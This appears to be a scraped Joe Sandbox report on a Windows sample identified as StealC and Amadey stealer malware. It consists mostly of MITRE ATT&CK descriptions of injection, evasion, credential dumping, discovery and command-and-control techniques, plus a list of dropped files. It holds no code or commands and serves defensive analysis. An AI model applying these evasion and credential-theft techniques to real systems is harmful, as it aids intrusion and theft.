Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAAFCAFCBKFHJJJKKFHIDAAKFB

C:\ProgramData\BGDHDAFI

C:\ProgramData\DHIDHIEGIIIECAKEBFBA

C:\ProgramData\EHDGIJJDGCBKFIDHIEBK

C:\ProgramData\HJJJDAEG

C:\ProgramData\IJEHIDHDAKJDHJKEBFIEHCAAEH

C:\ProgramData\KJKJKFCBKKJDGDHIDBGI

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre